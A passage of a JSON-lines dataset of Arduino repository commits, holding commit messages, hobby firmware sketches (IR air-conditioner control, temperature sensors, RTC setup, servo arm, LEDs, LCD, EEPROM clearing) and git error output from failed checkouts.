control.\n","repos":"markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266","old_file":"examples\/TurnOnKelvinatorAC\/TurnOnKelvinatorAC.ino","new_file":"examples\/TurnOnKelvinatorAC\/TurnOnKelvinatorAC.ino","new_contents":"\n#include <IRKelvinator.h>\n\nIRKelvinatorAC kelvir(D1); \/\/ IR led controlled by Pin D1.\n\nvoid printState() {\n \/\/ Display the settings.\n Serial.println(\"Kelvinator A\/C remote is in the following state:\");\n Serial.printf(\" Basic\\n Power: %d, Mode: %d, Temp: %dC, Fan Speed: %d\\n\",\n kelvir.getPower(), kelvir.getMode(), kelvir.getTemp(),\n kelvir.getFan());\n Serial.printf(\" Options\\n X-Fan: %d, Light: %d, Ion Filter: %d\\n\",\n kelvir.getXFan(), kelvir.getLight(), kelvir.getIonFilter());\n Serial.printf(\" Swing (V): %d, Swing (H): %d, Turbo: %d, Quiet: %d\\n\",\n kelvir.getSwingVertical(), kelvir.getSwingHorizontal(),\n kelvir.getTurbo(), kelvir.getQuiet());\n \/\/ Display the encoded IR sequence.\n unsigned char* ir_code = kelvir.getRaw();\n Serial.print(\"IR Code: 0x\");\n for (int i = 0; i < KELVINATOR_STATE_LENGTH; i++)\n Serial.printf(\"%02X\", ir_code[i]);\n Serial.println();\n}\n\nvoid setup(){\n kelvir.begin();\n Serial.begin(115200);\n delay(200);\n\n \/\/ Set up what we want to send. See IRKelvinator.cpp for all the options.\n \/\/ Most things default to off.\n Serial.println(\"Default state of the remote.\");\n printState();\n Serial.println(\"Setting desired state for A\/C.\");\n kelvir.on();\n kelvir.setFan(1);\n kelvir.setMode(KELVINATOR_COOL);\n kelvir.setTemp(26);\n kelvir.setSwingVertical(false);\n kelvir.setSwingHorizontal(true);\n kelvir.setXFan(true);\n kelvir.setIonFilter(false);\n kelvir.setLight(true);\n}\n\nvoid loop() {\n \/\/ Now send the IR signal.\n Serial.println(\"Sending IR command to A\/C ...\");\n kelvir.send();\n printState();\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TurnOnKelvinatorAC\/TurnOnKelvinatorAC.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"dd12b477b4b748aac5739f8aca6e0f955d0bf2b8","subject":"Fix comment","message":"Fix comment","repos":"FrankBoesing\/TeensyTransfer,FrankBoesing\/TeensyTransfer,FrankBoesing\/TeensyTransfer","old_file":"examples\/teensytransfertool\/teensytransfertool.ino","new_file":"examples\/teensytransfertool\/teensytransfertool.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FrankBoesing\/TeensyTransfer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b290274c7693f8e996b44f967ee0c794b786cce8","subject":"unfortunate signedness","message":"unfortunate signedness\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7c1293de1679089348d2a01a6024b8625dd80590","subject":"Added non blocking one wire test","message":"Added non blocking one wire test\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Sensor_Tests\/one_wire_non_blocking\/no_wait_for_conversion.ino","new_file":"Sensor_Tests\/one_wire_non_blocking\/no_wait_for_conversion.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\n#define ONE_WIRE_BUS 4\n\n\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\nDeviceAddress tempDeviceAddress;\n\nint resolution = 12;\nunsigned long lastTempRequest = 0;\nint delayInMillis = 0;\nfloat temperature = 0.0;\nint idle = 0;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n \n sensors.begin();\n sensors.getAddress(tempDeviceAddress, 0);\n sensors.setResolution(tempDeviceAddress, resolution);\n \n sensors.setWaitForConversion(false);\n sensors.requestTemperatures();\n delayInMillis = 750 \/ (1 << (12 - resolution)); \n lastTempRequest = millis(); \n \n pinMode(13, OUTPUT); \n}\n\nvoid loop(void)\n{ \n \n if (millis() - lastTempRequest >= delayInMillis) \/\/ waited long enough??\n {\n digitalWrite(13, LOW);\n Serial.print(\" Temperature: \");\n temperature = sensors.getTempCByIndex(0);\n Serial.println(temperature, resolution - 8); \n Serial.print(\" Resolution: \");\n Serial.println(resolution); \n Serial.print(\"Idle counter: \");\n Serial.println(idle); \n Serial.println(); \n \n idle = 0; \n \n resolution++;\n if (resolution > 12) resolution = 9;\n \n sensors.setResolution(tempDeviceAddress, resolution);\n sensors.requestTemperatures(); \n delayInMillis = 750 \/ (1 << (12 - resolution));\n lastTempRequest = millis(); \n }\n \n digitalWrite(13, HIGH);\n \/\/ we can do usefull things here \n \/\/ for the demo we just count the idle time in millis\n delay(1);\n idle++;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor_Tests\/one_wire_non_blocking\/no_wait_for_conversion.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"0921cccdf50d13e692d3e12654245cb490b853f8","subject":"Fixed percentage rounding.","message":"Fixed percentage rounding.\n","repos":"CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32","old_file":"threeDigitPercentage.ino","new_file":"threeDigitPercentage.ino","new_contents":"static inline __attribute__((always_inline)) void threeDigitPercentage( char *buffer, const uint8_t &bufferSize, const float &percentage, const bool &addPercentSign )\n{\n if ( percentage < 0.005 )\n {\n snprintf( buffer, bufferSize, addPercentSign ? \" 0%% \" : \" 0 \" );\n }\n else if ( percentage > 99.9 )\n {\n snprintf( buffer, bufferSize, addPercentSign ? \" 100%% \" : \" 100 \" );\n }\n else if ( percentage < 10 )\n {\n snprintf( buffer, bufferSize , addPercentSign ? \" %1.2f%% \" : \" %1.2f \", percentage );\n }\n else\n {\n snprintf( buffer, bufferSize , addPercentSign ? \" %2.1f%% \" : \" %2.1f \", percentage );\n }\n}\n","old_contents":"static inline __attribute__((always_inline)) void threeDigitPercentage( char *buffer, const uint8_t &bufferSize, const float &percentage, const bool &addPercentSign )\n{\n if ( percentage < 0.005 )\n {\n snprintf( buffer, bufferSize, addPercentSign ? \" 0%% \" : \" 0 \" );\n }\n else if ( percentage == 100 )\n {\n snprintf( buffer, bufferSize, addPercentSign ? \" 100%% \" : \" 100 \" );\n }\n else if ( percentage < 10 )\n {\n snprintf( buffer, bufferSize , addPercentSign ? \" %1.2f%% \" : \" %1.2f \", percentage );\n }\n else\n {\n snprintf( buffer, bufferSize , addPercentSign ? \" %2.1f%% \" : \" %2.1f \", percentage );\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"600c765ffe3ab6056c4b5baccc73e910fb098915","subject":"Add validation of DS18B20 temperature calculation.","message":"Add validation of DS18B20 temperature calculation.\n","repos":"mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa","old_file":"libraries\/DS18B20\/examples\/CosaDS18B20calc\/CosaDS18B20calc.ino","new_file":"libraries\/DS18B20\/examples\/CosaDS18B20calc\/CosaDS18B20calc.ino","new_contents":"\/**\n * @file CosaDS18B20calc.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaDS18B20calc: started\"));\n}\n\nint32_t iscale(int16_t temp)\n{\n bool negative = false;\n if (temp < 0) {\n temp = -temp;\n negative = true;\n }\n int32_t res = (temp >> 4) * 1000L + (625 * (temp & 0xf));\n return (negative ? -res : res);\n}\n\nfloat32_t fscale(int16_t temp)\n{\n return (temp * 0.0625);\n}\n\n#define CHECK(c,t) trace << PSTR(#c \"=\") << fscale(t) << endl\n\nvoid loop()\n{\n CHECK(+125, 0x07D0);\n CHECK(+85, 0x0550);\n CHECK(+25.0625, 0x0191);\n CHECK(+10.125, 0x00A2);\n CHECK(+0.5, 0x0008);\n CHECK(0, 0x0000);\n CHECK(-0.5, 0xFFF8);\n CHECK(-10.125, 0xFF5E);\n CHECK(-25.0625, 0xFE6F);\n CHECK(-55, 0xFC90);\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/DS18B20\/examples\/CosaDS18B20calc\/CosaDS18B20calc.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"eb50c560ce264f31d127d47f930e554fe6251d78","subject":"set DS1307 time directly using wire protocol","message":"set DS1307 time directly using wire protocol\n","repos":"rjha\/aws,rjha\/aws,rjha\/aws","old_file":"code\/arduino\/sample\/sketch_ds1307_wire\/sketch_ds1307_wire.ino","new_file":"code\/arduino\/sample\/sketch_ds1307_wire\/sketch_ds1307_wire.ino","new_contents":"#include <Wire.h>\n#include <Time.h>\n#include <DS1307RTC.h>\n#include <AWS.h>\n\n\/\/ DS1307RTC instance created in DS1307 lib\n\/\/ DS1307RTC RTC = DS1307RTC();\n\/\/ DS1307RTC constructor calls Wire.begin()\n\n#define DS1307_CTRL_ID 0x68 \n\naws_error_t aws_code ;\n\nvoid setup() {\n Serial.begin(9600);\n\n aws_code = init_rtc();\n for(int i = 0 ; i < 200 ; i++) {\n delayMicroseconds(1000);\n }\n\n \/\/ set DS1307 RTC as time provider\n \/\/ sync interval is default 5 minutes\n if(aws_code == AWS_RTC_ERROR_NONE) {\n setSyncProvider(RTC.get); \n if(timeStatus()!= timeSet) {\n \/\/ wait a bit\n for(int i = 0 ; i < 4000 ; i++) {\n delayMicroseconds(1000);\n }\n }\n\n \/\/ try again\n if(timeStatus()!= timeSet) {\n aws_code = AWS_RTC_SYNC_ERROR ;\n }\n } \n\n}\n\nvoid loop() {\n\n if(aws_code == AWS_RTC_ERROR_NONE ) {\n Serial.print(hour());\n Serial.print(\" \");\n Serial.print(minute());\n Serial.print(\" \");\n Serial.println(second());\n } else {\n Serial.print(\"error in RTC setup\");\n Serial.println(aws_code);\n\n }\n\n delay(1000);\n}\n\nuint8_t dec2bcd(uint8_t num)\n{\n return ((num\/10 * 16) + (num % 10));\n}\n\naws_error_t init_rtc() {\n\n aws_error_t code ;\n byte second = 00; \/\/0-59\n byte minute = 19; \/\/0-59\n byte hour = 21; \/\/0-23\n byte weekDay = 4; \/\/1-7\n byte monthDay = 27; \/\/1-31\n byte month = 10; \/\/1-12\n byte year = 13; \/\/0-99\n\n Wire.beginTransmission(DS1307_CTRL_ID);\n Wire.write((uint8_t)0x00); \n\n Wire.write(dec2bcd(second));\n Wire.write(dec2bcd(minute));\n Wire.write(dec2bcd(hour));\n Wire.write(dec2bcd(weekDay));\n Wire.write(dec2bcd(monthDay));\n Wire.write(dec2bcd(month));\n Wire.write(dec2bcd(year));\n\n Wire.write((uint8_t)0x00); \n\n if(Wire.endTransmission() != 0) {\n code = AWS_RTC_WRITE_ERROR ;\n } else {\n code = AWS_RTC_ERROR_NONE;\n }\n\n return code;\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/arduino\/sample\/sketch_ds1307_wire\/sketch_ds1307_wire.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"66d4471d8938521740615c92d962230c0a0be228","subject":"Initial commit. Still haven't even gone through it after a mass copy from 'just-get-it-working'.","message":"Initial commit. Still haven't even gone through it after a mass copy from 'just-get-it-working'.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Project\/move\/move.ino","new_file":"Project\/move\/move.ino","new_contents":"\/**\n * move\n * move.ino\n * Positions robot in cylindrical coordinates.\n *\n * @author: Tyler Lucas\n * Student ID: 3305203\n * Date: Aug 9, 2017\n * Version 0.1\n *\/\n\n\n#include <Servo.h> \/\/ servo library\n\nServo servo_turret, servo_boom, servo_pincher, servo_main;\nServo servos[4] = { servo_turret, servo_boom, servo_pincher, servo_main };\nconst int angles[4] = { 90, 65, 90, 60 }; \/\/ initial angles\n\nvoid setup()\n{\n attach_servos();\n initialize();\n \n Serial.begin(9600);\n}\n\nvoid loop()\n{\n Serial.println();\n \n Serial.print(\"Servo #\");\n int servo_num = -1;\n while ( servo_num < 0 || servo_num > 3 )\n {\n while ( Serial.available() == 0 ) { }\n servo_num = Serial.parseInt();\n if ( servo_num < 0 || servo_num > 3 )\n Serial.print(\"\\n Umm.. nope. Try again.\\nServo #\");\n }\n Serial.println( servo_num );\n\n Serial.print(\"Angle: \");\n while ( Serial.available() == 0 ) { }\n int angle = Serial.parseInt();\n Serial.println( angle );\n\n angle = constrain_servo_angle(servo_num, angle);\n\n Serial.print(\"Setting servo #\");\n Serial.print( servo_num );\n Serial.print(\" to \");\n Serial.print( angle );\n Serial.println(\" degrees.\");\n\n go_to(servo_num, angle);\n\n Serial.print(\"Servo #\");\n Serial.print( servo_num );\n Serial.print(\" set to \");\n Serial.print( angles[servo_num] );\n Serial.println(\" degrees.\");\n}\n\nint constrain_servo_angle(int servo_number, int input_angle)\n{\n switch ( servo_number )\n {\n case 0: return constrain(input_angle, 0, 180);\n case 1:\n if (angles[3] < 60)\n return constrain(input_angle, formulaZ(angles[3]), formulaA(angles[3]));\n else if (angles[3] >= 60 && angles[3] < 70)\n return constrain(input_angle, formulaY(angles[3]), formulaB(angles[3]));\n else if (angles[3] >= 70 && angles[3] < 80)\n return constrain(input_angle, formulaY(angles[3]), formulaC(angles[3]));\n else if (angles[3] >= 80 && angles[3] < 100)\n return constrain(input_angle, formulaX(angles[3]), formulaC(angles[3]));\n else if (angles[3] >= 100 && angles[3] < 110)\n return constrain(input_angle, formulaX(angles[3]), formulaD(angles[3]));\n else if (angles[3] >= 110 && angles[3] < 120)\n return constrain(input_angle, formulaW(angles[3]), formulaE(angles[3]));\n else if (angles[3] >= 120 && angles[3] < 140)\n return constrain(input_angle, formulaV(angles[3]), formulaE(angles[3]));\n else if (angles[3] >= 140)\n return constrain(input_angle, formulaU(angles[3]), formulaE(angles[3]));\n else\n return -1;\n case 2: return constrain(input_angle, 65, 140);\n case 3: return constrain(input_angle, 60, 140);\n default: return -1;\n }\n}\n\nint formulaA(int angle) { return 140; }\nint formulaB(int angle) { return 140 + (angle - 60) * (135-140)\/(70-60); }\nint formulaC(int angle) { return 135; }\nint formulaD(int angle) { return 135 + (angle - 100) * (130-135)\/(110-100); }\nint formulaE(int angle) { return 130; }\nint formulaZ(int angle) { return 65; }\nint formulaY(int angle) { return 65 + (angle - 60) * (54-65)\/(80-60); }\nint formulaX(int angle) { return 54 + (angle - 80) * (20-54)\/(110-80); }\nint formulaW(int angle) { return 20 + (angle - 110) * (25-20)\/(120-110); }\nint formulaV(int angle) { return 25 + (angle - 120) * (18-25)\/(140-120); }\nint formulaU(int angle) { return 18; }\n\nint constrain_servo_angle_conservatively(int servo_number, int input_angle)\n{\n switch ( servo_number )\n {\n case 0: return constrain(input_angle, 15, 165);\n case 1: return constrain(input_angle, 65, 130);\n case 2: return constrain(input_angle, 65, 140);\n case 3: return constrain(input_angle, 60, 140);\n default: return -1;\n }\n}\n\n\/*\n * Increments towards the intended angle, keeping other angles in valid ranges.\n *\/\nvoid go_towards(int servo_number, int angle)\n{\n angle = constrain_servo_angle(servo_number, angle);\n \n int diff = angle - angles[servo_number];\n int dir;\n if (diff == 0)\n dir = 0;\n else\n dir = diff \/ abs(diff);\n \n angles[servo_number] += dir;\n servo[servo_number].write( angles[servo_number] );\n\n if ( servo_number == 3)\n {\n angles[(servo_number + 2) % 4] = constrain_servo_angle((servo_number + 2) % 4, angles[(servo_number + 2) % 4]);\n servo[(servo_number + 2) % 4].write( angles[(servo_number + 2) % 4] );\n }\n \n\/\/ if ( angles[servo_number] % 15 == 0 )\n\/\/ Serial.print(angles[servo_number]);\n}\n\nvoid go_to(int servo_number, int angle)\n{\n int min_delay_time = 10, max_delay_time = 100, delay_time = max_delay_time;\n \n int previous_angle;\n do {\n previous_angle = angles[servo_number];\n \n delay(delay_time);\n\n go_towards(servo_number, angle);\n\n if ( abs(angle - angles[servo_number]) > 15 && delay_time > min_delay_time )\n delay_time -= min_delay_time;\n else if ( abs(angle - angles[servo_number]) <= 15 && delay_time < max_delay_time)\n delay_time += min_delay_time;\n } while ( previous_angle - angles[servo_number] != 0 );\n}\n\nvoid initialize()\n{\n int angles[4] = { 90, 65, 90, 60 };\n \n for (int i=0; i<4; i++)\n servos[i].write( angles[i] );\n}\n\nvoid detach_servos()\n{\n for (int i=0; i<4; i++)\n servos[i].detach();\n}\n\nvoid attach_servos()\n{\n servo_turret.attach( 9 ); \/\/ swivel\n servo_boom.attach( 6 ); \/\/ boom\n servo_pincher.attach( 5 ); \/\/ pincher\n servo_main.attach( 3 ); \/\/ main arm\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project\/move\/move.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d803b00cc04c0956909f74b276cd0b254b02110e","subject":"Enables second neopixel strip.","message":"Enables second neopixel strip.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a96c4cb0450bc5d52323f0f51c84b49928f0c9bc","subject":"Delete original_led_sketch.ino","message":"Delete original_led_sketch.ino","repos":"nolanpatrick\/spi_leds_862","old_file":"original_led_sketch.ino","new_file":"original_led_sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nolanpatrick\/spi_leds_862.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e42f79ad19d0ae76991984cc949ab9b24ba039ba","subject":"First test with just a single red led running through the lines","message":"First test with just a single red led running through the lines\n","repos":"rudelm\/tictock","old_file":"src\/_110LedsTest\/_110LedsTest.ino","new_file":"src\/_110LedsTest\/_110LedsTest.ino","new_contents":"#include \"FastLED.h\"\n\/\/ Define number of leds\n#define NUM_LEDS 110\n\/\/ Define the array of leds\nCRGB leds[NUM_LEDS];\n\/\/ Arduino pin used for Data\n#define PIN 6 \n\n\nvoid setup() {\n FastLED.addLeds<NEOPIXEL, PIN>(leds, NUM_LEDS);\n}\n\nvoid loop() {\n \/\/ one led at a time\n for(int i= 0; i < NUM_LEDS; i++) \n {\n \/\/ clear all values in array and set to 0\n memset(leds, 0, NUM_LEDS * 3);\n leds[i].r = 64;\n leds[i].g = 0;\n leds[i].b = 0;\n FastLED.show();\n delay(250);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/_110LedsTest\/_110LedsTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3ca4f446c04fecde64ec527e3d5a13f9ce416e7b","subject":"Ajout d'un script arduino","message":"Ajout d'un script arduino\n","repos":"lea-leo\/leaspeaking","old_file":"arduino\/CommunicationArduinoAlone\/CommunicationArduinoAlone.ino","new_file":"arduino\/CommunicationArduinoAlone\/CommunicationArduinoAlone.ino","new_contents":"#include <LiquidCrystal_I2C.h>\n\n#include <Wire.h>\n\n\/\/ Set the LCD address to 0x27 for a 16 chars and 2 line display\n\n#include <LiquidCrystal_I2C.h>\n\nLiquidCrystal_I2C lcd(0x27,20,4); \/\/ set the LCD address to 0x27 for a 16 chars and 2 line display\n#include <Servo.h>\n\n\/\/Servo myservo; \/\/ create servo object to control a servo\n\/\/ twelve servo objects can be created on most boards\n\nint pos = 180;\nint LOW_POSITION = 180;\nint HIGH_POSITION = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n lcd.init(); \/\/ initialize the lcd\n lcd.backlight();\n lcd.print((char) 0x5C);\n \/\/ lcd.print(\"Setup Arduino\"); \/\/ Print a message to the LCD.\n \/\/myservo.attach(9);\n \/\/myservo.write(LOW_POSITION);\n\n}\n\nvoid loop()\n{\n if (Serial.available()) {\n delay(100);\n lcd.setCursor(0,0);\n lcd.print(Serial.readString()); \n Serial.write(\"DONE\");\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/CommunicationArduinoAlone\/CommunicationArduinoAlone.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ee9db7e5fe914cc45ecabed4a498dd1e6b370129","subject":"add serial control","message":"add serial control\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"project\/project.ino","new_file":"project\/project.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"202d1ce8f135ff3873bf8dc44d808de6f9685a37","subject":"minor edit","message":"minor edit\n","repos":"nisald\/robot_program,nisald\/robot_program","old_file":"wall_follow\/wall_follow.ino","new_file":"wall_follow\/wall_follow.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nisald\/robot_program.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3b9aa48c482ce09502eb9ee46fab9f0f2381fb1e","subject":"TODO-632: WIP","message":"TODO-632: WIP","repos":"Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"test_SECFRAME\/test_SECFRAME.ino","new_file":"test_SECFRAME\/test_SECFRAME.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"55b49efc4c8efc6635d491178c91e99c8dbf7474","subject":"Bumped version for testing.","message":"Bumped version for testing.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"00f6ea203aebaa6cd67001db5ff988bba6e4ec80","subject":"some minor changes","message":"some minor changes\n","repos":"PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/MasterModule\/MasterModule.ino","new_file":"Arduino code\/MasterModule\/MasterModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/MasterModule\/MasterModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"999312f48e05c6f227650b044c4f99fa29a62cc8","subject":"Adding example that clears the EEPROM","message":"Adding example that clears the EEPROM\n","repos":"jacgoudsmit\/EEPROM_mgr,jacgoudsmit\/EEPROM_mgr","old_file":"Examples\/Clear_Eeprom\/Clear_Eeprom.ino","new_file":"Examples\/Clear_Eeprom\/Clear_Eeprom.ino","new_contents":"\/*\n Clear the entire EEPROM\n -----------------------\n Example using the EEPROM Manager library to erase the entire EEPROM\n By Jac Goudsmit\n Distributed under the BSD (3-clause) license.\n http:\/\/github.com\/jacgoudsmit\/EEPROM_mgr\n\n*\/\n\n#include <arduino.h>\n#include <stdlib.h>\n#include <EEPROM_mgr.h>\n\n\/\/ The highest usable EEPROM address is #defined in the Arduino header files\n\/\/ as E2END. The value depends on the microcontroller that's used. For\n\/\/ example, the AVR328 has 1KB of EEPROM, the AVR168 has 512 bytes.\n\/\/ The following line declares a type that takes up the entire size of the\n\/\/ EEPROM.\ntypedef char entire_eeprom[E2END + 1];\n\n\/\/ Create an item that uses the entire EEPROM\nEEPROM_item<entire_eeprom> everything;\n\nvoid setup()\n{\n \/\/ Fill the item with 0xFF to clear the EEPROM\n \/\/ We can't use the assignment operator here so we use the Data operator\n \/\/ to get a pointer to the internal data of the item, fill the data with\n \/\/ bytes containing value 255, and then store the item to the EEPROM.\n memset(everything.Data(), 255, sizeof(entire_eeprom));\n everything.Store();\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Clear_Eeprom\/Clear_Eeprom.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"fe71e6f3f58d70d25cb1067d527459f8fe1f037d","subject":"a working test bed","message":"a working test bed\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/EndStopTest2.ino","new_file":"EndStopTest2\/EndStopTest2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"baab501c972eead2b7365c2af503ffe02b4df03e","subject":"Fixed a few try-catch errors","message":"Fixed a few try-catch errors","repos":"Satrajit-c\/door_sensor","old_file":"Version 1.2\/No_bell\/email.ino","new_file":"Version 1.2\/No_bell\/email.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Version' did not match any file(s) known to git\nerror: pathspec '1.2\/No_bell\/email.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09ceb63278a16eec0e555b87617793e3dc1edee6","subject":"arduino","message":"arduino\n","repos":"JB26\/decode_ws2308,JB26\/decode_ws2308,JB26\/decode_ws2308","old_file":"arduino\/indoor_w\/indoor_w.ino","new_file":"arduino\/indoor_w\/indoor_w.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_BMP085.h>\n\nAdafruit_BMP085 bmp;\n\n\n#include \"DHT.h\"\n\n#define DHTPIN 12 \/\/ what pin we're connected to\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\nDHT dht(DHTPIN, DHTTYPE);\n\n\nint incomingByte = 0; \/\/ for incoming serial data\n\nvoid setup() {\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n dht.begin();\n bmp.begin();\n}\n\nvoid loop() {\n\n \/\/ 